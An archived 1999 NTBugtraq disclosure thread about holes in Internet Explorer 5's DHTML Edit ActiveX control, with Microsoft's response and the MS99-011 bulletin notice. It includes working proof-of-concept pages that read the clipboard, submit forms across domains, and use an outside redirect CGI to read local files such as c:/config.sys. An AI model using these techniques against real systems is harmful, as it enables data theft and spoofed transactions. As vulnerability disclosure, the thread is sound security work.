More Microsoft Internet Explorer 5 vulnerabilities! Microsoft Active X control called "DHTML Edit control Safe for Scripting for IE 5" contains security holes that allow public access to the clipboard and cross-frame access, among other things. Exploit code examples included.
c2521e524f27af1a173959487b0052a7eba6c27e26cb67ddea1ef8b99b484082Date: Wed, 24 Mar 1999 12:11:09 +0100
From: Juan Carlos Garcia Cuartango <cuartangojc@MX3.REDESTB.ES>
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: IE 5 security vulnerabilities
Greetings,
Microsoft delivers with IE 5 an Active X control called "DHTML
Edit control Safe for Scripting for IE 5". In my opinion this
control IS NOT SAFE AT ALL . I have found two vulnerabilities
in this component : It makes public the clipboard and it allows
cross-frame access.
IE 4 is also affected as far as the control is a signed component
and the browser will download it from MS site.(see below my
comments about the CLSID).
Demos are available at
http://pages.whowhere.com/computers/cuartangojc/dhtmle1.html
I will briefly try to summarize the implications of this issues :
1- The hole makes public the clipboard.
There is nothing new here. This is the third time I have reported
this kind of vulnerability. MS says that this issue can be
blocked by setting the "Allow paste operations via script" to
'prompt'. This security option is set to 'enable' by default
(Medium security). IE 4 does not have this option and there is no
way to avoid the exploit.
2- The hole allows cross-frame access
The first Internet browser security rule is : scripts can only
interact only whit documents same domain and protocol. MS calls
this the cross-frame security, Netscape refers to this rule as
"The same origin security policy". DHTML Editor violates this
rule and allows "transaction spoofing", a malicious script can
submit transactions without the user knowledge. I have asked my
lawyer consultant about the issue and their response was :
"Noboby can anymore use the IP addrress as a proof of an Internet
crime against Internet Explorer users". MS says : "We don't see
that this constitutes a security issue" .
3- Even if Microsoft fixes the hole the hole could exist forever. Why ?
As far as I know this is the first time a hole is "SIGNED". MS
has released an "dhtmed.cab" file as an ActiveX component signed
by Microsoft ,anibody can distribute this file and the victim will
only see a message telling him that the component is "Microsoft
signed", I trust MS, everybody trust MS, we will accept the ActiveX.
MS has invented a very clever method to sign software, but there is
not a way to revoke the signature.
4- There is something rare in the CLSID
Whenever an HTML page references a not registered CLSID nothing
happens, just the object is not created. The "DHTML Edit Control"
CLSID (clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A) is very special,
Internet Explorer (4 and 5) will try to download the component from
MS even if CODEBASE is not defined for the object. Is this a
documented feature ? You can test this behaviour, : unregister the
component "dhtmle.ocx" (using regsvr32.exe) and then load the page
http://pages.whowhere.com/computers/cuartangojc/dhtmle2.html
Why the browser decides to go to MS site ? It only knows :
clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A
Acoording whit MS documentation a CODEBASE parameter must be
explicited in the OBJECT "object" to download the component.
Any idea ?
Regards,
Cuartango
-------------------------------------------------------------------------------
http://pages.whowhere.com/computers/cuartangojc/dhtmle1.html
The DHTML Editor holes
Microsoft delivers with IE 5 an Active X control called DHTML edit control,
The Microsoft Dynamic HTML (DHTML) Editing Component allows Web authors and
application developers to add WYSIWYG DHTML editing capabilities to their Web
sites and applications. The control has two versions : DHTML Edit Control for
IE 5 and DHTML Edit
Control Safe for Scripting for IE 5
The first one is of course marked as not safe for scripting and you will be
warned if an HTML page contains this object.
The problem I have found : The second one is not safe at all. "DHTML Edit
Control Safe for Scripting for IE 5" has in fact at least two security holes :
1- It makes public your clipboard (demo).
According with Microsoft security rules access to Windows clipboard content is
forbidden to Internet Explorer scripts unless the clipboard content was owned
by the Explorer itself. This issue represents an important privacy leak.
Workaround : Set security option "Allow paste operations via script" to "prompt".
2- It allows "cross-frame" access (demo).
An HTML page or frame can read/write contents in frames owned by any domain,
which is forbiden by cross-fame security rules. And still worst, It allows
Tansaction spoofing. This is a very serious danger. The Safe version of
ActiveX is not able to navigate but It can SUBMIT FORMS which means that a
malicious WEB page (or E-Mail) can performs transactions agains any WEB site
but YOU will be responsible because the transaction will have your own IP address.
IE 4 is also affected if you accept the download of the ActiveX (Signed by Microsoft)
Last update March 24 Año del señor de 1999
-------------------------------------------------------------------------------
http://pages.whowhere.com/computers/cuartangojc/dhtmle2.html
<html>
<head>
<meta name="keywords"
content="cuartango,dhtmle hole,dhtmle hole,IE5,IE 5 hole,IE 5,cuartango hole,cuartango,security,security site,security web,hack,security,risk,hole,security hole,explorer">
<title>DHTMLE Clipboard vulnerability</title>
</head>
<body>
<script>
function getcb()
{
dh.DOM.body.innerHTML=""
dh.execCommand(5032);
S1.value = dh.DOM.body.innerText;
}
</script>
<p align="center"><big><big><strong><font color="#FF0000">DHTML Editor Clipboard
vulnerability</font></strong></big></big></p>
<p align="left"><font face="Arial"><small>According with Microsoft security rules access
to Windows clipboard content is forbidden to Internet Explorer scripts unless the
clipboard content was owned by the Explorer itself. If an script performs a
"paste" operation over an input text box the operation will succeed only if data
were copied to the clipboard from the Internet Explorer.</small> <small>The DHTMLE editor
delivered whit Internet Explorer 5 violates the clipboard security rule. The clipboard
data can then be transferred to a form input box and posted to a malicious WEB.</small></font></p>
<p align="center"><font face="Arial"><br>
<small>To see the demo "copy" some text (from any application) and click the
button below :</small><br>
</font><input type="button" value="Paste" name="B1" onclick="getcb()"></p>
<p align="center"><strong><small><font face="Arial">The box below is a Input Text
Area Box your clipboard text data should be here</font></small></strong><textarea rows="4"
name="S1" cols="80"></textarea></p>
<p align="center"><font face="Arial"><strong><small>The box below is</small></strong></font>
<font face="Arial"><strong><small>"DHTML Edit Control Safe for Scripting for IE
5" </small><br>
</strong></font>
<object id="dh" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" width="747"
height="105">
</object>
</p>
<div align="center"><center>
<table border="0" width="368" style="border: 1px solid" bgcolor="#C0C0C0">
<tr>
<td width="364"><p align="left"><font face="Arial"><strong><small>The script making public
the clipboard is very simple :</small></strong><br>
<br>
</font><font COLOR="#000000" size="3">function getcb()<br>
{<br>
dh.DOM.body.innerHTML="";
// clear body<br>
dh.execCommand(5032);
// paste<br>
S1.value = dh.DOM.body.innerText; // copy to text area<br>
}</font></td>
</tr>
</table>
</center></div>
<p align="center"><a href="dhtmle1.html"><font face="Arial">Back to DTHMLE Vulnerabilities<br>
</font></a><font COLOR="#000000" face="Courier New" size="2"><br>
</font><font color="#400040">Created by</font> <a href="mailto:cuartangojc@mx3.redestb.es">Juan
Carlos Garcia Cuartango</a> </p>
<p align="center"><font face="Arial"><img src="/cgi-bin/Count.cgi" width="97" height="24"><small><br>
</small><font size="1">Visitors since Mar 22 Año del Señor de 1999</font></font></p>
<p><small>Last update Mar 24 Año del señor de 1999</small></p>
</body>
</html>
-------------------------------------------------------------------------------
http://pages.whowhere.com/computers/cuartangojc/dhtmle3.html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta name="keywords"
content="cuartango,dhtmle hole,dhtmle hole,IE5,IE 5 hole,IE 5,cuartango hole,cuartango,security,security site,security web,hack,security,risk,hole,security hole,explorer">
<title>DHTMLE vulnerabilities</title>
</head>
<body>
<script>
function fill()
{
dh.DOM.forms(0).T1.value="Don Juan Tenorio";
dh.DOM.forms(0).T2.value="Hosteria del Laurel";
dh.DOM.forms(0).T3.value="Barrio de Santa Cruz";
dh.DOM.forms(0).T4.value="Sevilla";
dh.DOM.forms(0).T5.value="Andalucia";
dh.DOM.forms(0).T6.value="Spain";
dh.DOM.forms(0).T7.value="424122225555";
window.setTimeout("SubmitForm()",1000);
}
function SubmitForm()
{
dh.DOM.forms(0).submit();
}
</script>
<h1 align="center"><small><font color="#FF0000">T<strong>he DHTML Editor cross-frame
hole</strong></font></small></h1>
<div align="left">
<table border="0" width="765" height="388">
<tr>
<td width="246" height="359" valign="top"> <p><small><font face="Arial">The box in the righ
is an DHTML Edit Control Safe for scripting.<br>
It shows a form loaded from a <strong>diferent domain</strong> (<em>www.angelfire.com</em>).<br>
Click the button below and I will fill the form and submit It.</font></small></p>
<p align="center"><small><font face="Arial"><input type="button" value="Demo" name="B1"
onclick="fill()"></font></small></p>
<p><font face="Arial"><small>Dont worry about the message displayed. It is only a demo.</small><br>
<small><br>
</small></font></td>
<td width="511" height="359">
<object classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" width="497" height="318"
id="dh">
</object>
<script>
dh.LoadURL("http://www.angelfire.com/ab/juan123/dhtmle3form.html");
</script> </td>
</tr>
<tr>
<td width="757" height="21" colspan="2"><p align="center"><font face="Arial"
color="#FF0000"><strong><small>A malicious script inserted in a WEB page or in an HTML
formated e-mail can submit transactions that will contain your IP address. (Imagine an
script writting menaces in the White House guess book)</small></strong></font>.<br>
</td>
</tr>
</table>
</div>
<p align="center"><a href="dhtmle1.html"><font face="Arial">Back to DTHMLE Vulnerabilities<br>
<br>
</font></a><font color="#400040">Created by</font> <a
href="mailto:cuartangojc@mx3.redestb.es">Juan Carlos Garcia Cuartango</a> </p>
<p align="center"><font face="Arial"><img src="/cgi-bin/Count.cgi" width="97" height="24"><small><br>
</small><font size="1">Visitors since March 22 Año del Señor de 1999</font></font></p>
<p><small>Last update March 23 Año del señor de 1999</small></p>
<p> </p>
</body>
</html>
-------------------------------------------------------------------------------
Date: Thu, 25 Mar 1999 10:06:01 -0800
From: Harry Goodwin <harryg@MICROSOFT.COM>
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: Re: IE 5 security vulnerabilities
I wanted to take a moment to thank Juan Carlos for bringing these issues to
Microsoft's attention prior to posting the issues publicly. I also wanted
to post Microsoft's response to the issues he's discovered.
1) Internet Explorer has customizable security settings in
place for users who are concerned about allowing certain functionality. In
this particular case, concerned users can easily block this behavior by
checking either 'disable' or 'prompt' under "Allow paste operations via
script"
in the custom settings section in security zones. Using the IEAK, admins
can also adjust the default setting for this option before distributing
Internet Explorer to their users. The option is set to 'enable' by default
to
allow enhanced functionality.
2) Upon investigation we did find a cross domain security
violation in the DHTML edit control which we will revoke, fix, and release.
3) Internet Explorer has a mechanism in place which allows
Microsoft to release a .reg file to block ActiveX controls by changing a
bit in the registry.
4) The following information found on MSDN (search on
CodeBaseSearchPath) addresses this concern: When Internet Component
Download is called to download code, it traverses the Internet search path
to
look for the desired component. This path is a list of object store servers
that will be queried every time components are downloaded using
CoGetClassObjectFromURL. This way, even if an <OBJECT> tag in an HTML
document does not specify a CODEBASE location to download code for an
embedded OLE control, the Internet Component Download will still use the
Internet search path to find the necessary code.
Internet search path syntax
The search path is specified in a string in the registry, under
the key
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet
Settings\CodeBaseSearchPath. The value for this key is a string in the
following format:
CodeBaseSearchPath = <URL1>; <URL2>; ... <URLm>; CODEBASE;
<URLm+1>;
... <URLn-1>; <URLn>
In this format, each of URL1 through URLn is an absolute URL
pointing to HTTP servers acting as "object stores". When processing a
call to CoGetClassObjectFromURL, the Internet Component Download service
will
first try downloading the desired code from the locations URL1 through
URLm, then try the location specified in the szCodeURL parameter
(corresponding to the CODEBASE attribute in the <OBJECT> tag), and will
finally try the
locations specified in locations URLm+1 through URLn.
Note that if the CODEBASE keyword is not included in the key,
calls to CoGetClassObjectFromURL will never check the szCodeURL location for
downloading code. By removing the CODEBASE keyword from the key,
corporate intranet administrators can effectively disable Internet Component
Download for corporate users.
Thanks, Harry
-------------------------------------------------------------------------------
Date: Thu, 25 Mar 1999 14:57:51 -0500
From: Phil Brass <pbrass@ISS.NET>
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: Re: IE 5 security vulnerabilities
> 4) The following information found on MSDN (search on
> CodeBaseSearchPath) addresses this concern: When Internet Component
> Download is called to download code, it traverses the Internet search path
> to
> look for the desired component. This path is a list of object store servers
> that will be queried every time components are downloaded using
> CoGetClassObjectFromURL. This way, even if an <OBJECT> tag in an HTML
> document does not specify a CODEBASE location to download code for an
> embedded OLE control, the Internet Component Download will still use the
> Internet search path to find the necessary code.
> Internet search path syntax
> The search path is specified in a string in the registry, under
> the key
> HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet
> Settings\CodeBaseSearchPath. The value for this key is a string in the
> following format:
> CodeBaseSearchPath = <URL1>; <URL2>; ... <URLm>; CODEBASE;
> <URLm+1>;
> ... <URLn-1>; <URLn>
On my NT4 SP3 box, permissions on this key are set to Everyone: Special
Access, which includes set
value. Therefore, anyone who is a user on this box can control where
every other user downloads
their controls from. Is that OK?
Phil
-------------------------------------------------------------------------------
Date: Fri, 26 Mar 1999 06:39:23 -0800
From: David LeBlanc <dleblanc@MINDSPRING.COM>
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: Re: IE 5 security vulnerabilities
At 02:57 PM 3/25/99 -0500, Phil Brass wrote:
>> The search path is specified in a string in the registry, under
>> the key
>> HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet
>> Settings\CodeBaseSearchPath. The value for this key is a string in the
>> following format:
>> CodeBaseSearchPath = <URL1>; <URL2>; ... <URLm>; CODEBASE;
>> <URLm+1>;
>> ... <URLn-1>; <URLn>
>On my NT4 SP3 box, permissions on this key are set to Everyone: Special
>Access, which includes set
>value. Therefore, anyone who is a user on this box can control where
>every other user downloads
>their controls from. Is that OK?
If you look, there are a lot of keys in that area that have these
permissions. Many of them are checked by default in the scanner. As I'm
sure you're aware, if you have to start worrying about what one user can do
to another, then this is just the tip of the iceberg. However, if you are
going to look at this sort of detail, I'd start with what Steve Sutton has
in his NSA paper (www.trustedsystems.com).
David LeBlanc
dleblanc@mindspring.com
-------------------------------------------------------------------------------
Date: Fri, 26 Mar 1999 11:04:02 -0500
From: Russ <Russ.Cooper@RC.ON.CA>
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: Re: IE 5 security vulnerabilities
Harry, et al...
Two comments on your response to Juan's message about IE 5.0.
1. IMO, once an exploit has been demonstrated against any feature of IE
(or any product), enhancements to the product should assume the user may
be exploited and be set, by default, to prevent the exploit. Providing
the setting to allow or deny paste by scripting functionality is a good
way of accommodating users and developers who have asked for the
functionality, but MS should assume its a risk (due to publicized
exploits) and set it to disabled by default. Script author's who want
this functionality enabled in their visitors browsers can then, like
they do with frames or JavaScript, post a notice on their site
instructing uses on how to enable the functionality to, say, "get the
most out of this site". This would then put the liability on the site to
explain the risk the user puts themselves at by having the feature
enabled, rather than leaving the user exploitable by default and
expecting them to understand why the feature is a risk.
The old adage, "by default secure".
2. The method you described to me regarding revocation of an MS control
sounds like it will work only if the user actually does something to
their browsers. That is, they will have to execute the .reg file you
will provide. Or is there some mechanism in the browser that allows you
to run a .reg file when loading a new component?
This would appear to bring into question the whole Authenticode model,
at least in my mind, specifically its ability to deal with revocation of
correctly signed objects.
Via this .reg file, I understand that you can tell the browser not to
use a particular object which you have signed, but wasn't Authenticode
based on the concept of Certificate Authorities (CAs) and Certificate
Revocation Lists (CRLs)? Given the current problem with CAs and CRLs (as
demonstrated by the lengthy delay Outlook Express has when trying to
retrieve CRLs), your explanation of how MS was going to deal with the
revocation of this particular object would seem to imply that even MS
has abandoned the Certificate Revocation process, or, that the process
is ineffective.
Since Authenticode is only as valuable as the capabilities of the
authoritative CA, and the products seem like they are not yet robust
enough to deal with revocation (or that Microsoft does not have
sufficient faith in the revocation process to use it for this object),
should we have any faith in Authenticode?
To my knowledge, this would be the first real test of this whole
process. If its not going to be done in a fashion that any vendor (not
just MS) would have to go through, it means to me the process is broken.
The logical conclusion I come to is that Authenticode cannot, therefore,
be trusted to function in the manner it was designed.
Please understand, I have been a big supporter of the Authenticode model
and ActiveX in general. This support, however, has been based on a faith
in Certificate Revocation and its ability to keep users secure. If my
accessing a component which has been revoked does not automatically, and
without user intervention, cause a new copy of the component to be
loaded from the correct source location, components cannot be trusted. I
thought I saw all of this functionality in the Authenticode
Specification, was I wrong, or have you (MS) just not implemented this
functionality?
The success or failure of this test to Authenticode is, I think, very
important to its long term viability and acceptance.
Cheers,
Russ - NTBugtraq moderator
-------------------------------------------------------------------------------
Date: Thu, 22 Apr 1999 02:43:13 -0400
From: Russ <Russ.Cooper@RC.ON.CA>
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: Alert: Microsoft Security Bulletin (MS99-011) - IE DHTML Edit Control
Note: URLs may be line wrapped
Microsoft have released a Security Bulletin;
http://www.microsoft.com/security/bulletins/ms99-011.asp
which covers an issue first reported to NTBugtraq by Juan Carlos
Cuartango, in his message;
http://ntbugtraq.ntadvice.com/default.asp?pid=36&sid=1&A2=ind9903&L=ntbu
gtraq&F=P&S=&P=6841
on March 25th, 1999.
After application of the replacement control from MS, retrieved from;
http://www.microsoft.com/windows/ie/security/dhtml_edit.asp
execution of Juan's demonstration page;
http://pages.whowhere.com/computers/cuartangojc/dhtmle1.html
causes "Error on Page" to appear at the bottom of the browser window.
The MS Knowledgebase article Q226326 detailing the issue was available
at the time of writing. See;
http://support.microsoft.com/support/kb/articles/q226/3/26.asp
Cheers,
Russ - NTBugtraq moderator
-------------------------------------------------------------------------------
Date: Wed, 21 Apr 1999 22:58:48 +0200
From: Juan Carlos Garcia Cuartango <cuartangojc@MX3.REDESTB.ES>
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: DHTML Edit control IE 5 vulnerabilities.
Geetings ,
DHTML Edit Control delivered with MSIE 5 can read user files . The issue
was reported to MS on 26 March. I have keept private the issue until MS
has released the fix : http://www.microsoft.com/security/bulletins/ms99-011.asp
A demo is available at
http://pages.whowhere.lycos.com/computers/cuartangojc/dhtmlefile.html
Some technical details are below.
The vulnerability appears when the WEB server redirects the HTTP request
sent by the Edit Control..
To do this redirection the code you need is :
dh.LoadURL( http://domain/redirect.asp?file://c:/config.sys );
The ASP page response.asp contains :
<%
response.redirect request.querystring
%>
This ASP will redirect the request to any URL (including "HTTPS:") , the
DHTMLE Edit Control location "property" will still contain
http://host/redirect.asp?file://c:/config.sys but the file will be displayed.
The file contents is accessed using dh.DOM.body.innerText.
A similar thing can be done using a PERL (my demo uses a two line long PERL
script). Please : NTBUGTRAQ readers ,let me know where can I find a "free"
site where I can put my own ASP's. I only know free CGI sites.
I wish to thanks to www.virtualave.net for hosting my redirector CGI (for free).
Regards,
Juan Carlos G. Cuartango
[ http://pages.whowhere.lycos.com/computers/cuartangojc/dhtmlefile.html ]
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta name="keywords"
content="cuartango,dhtmle hole,dhtmle hole,IE5,IE 5 hole,IE 5,cuartango hole,cuartango,security,security site,security web,hack,security,risk,hole,security hole,explorer">
<title>DHTMLE vulnerabilities</title>
</head>
<body>
<script>
function Load()
{
if (T1.value == "") T1.value="C:/config.sys";
dh.LoadURL("http://cuartangojc.virtualave.net/cgi-bin/redirect.cgi?file://" + T1.value);
window.setTimeout("GetFile()",1000);
}
function GetFile()
{
alert(dh.DOM.body.innerText);
}
function Done()
{
alert("done");
}
</script>
<h1 align="center"><small><font color="#FF0000">T<strong>he DHTML Editor file access
hole</strong></font></small></h1>
<div align="left">
<table border="0" width="765" height="286">
<tr>
<td width="246" height="257" valign="top"> <p><small><font face="Arial">The box in the
right is an DHTML Edit Control Safe for scripting. It will be used to read a file from
your computer.</font></small></p>
<p><small><font face="Arial">Type a file name (if left blank I will display your <a
href="file:///c:/config.sys">c:\config.sys</a> file)</font></small></p>
<p align="center"><input type="text" name="T1" size="20"></p>
<p align="center"><small><font face="Arial"><input type="button" value="Show me the file"
name="B1" onclick="Load()"><br>
<small>Click and wait few seconds</small></font></small></td>
<td width="511" height="257" valign="top">
<object classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" width="497" height="248"
id="dh">
</object>
<script>
</script> </td>
</tr>
</table>
</div>
<p><small>Last update April 20 Año del señor de 1999</small></p>
</body>
</html>
-------------------------------------------------------------------------------
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed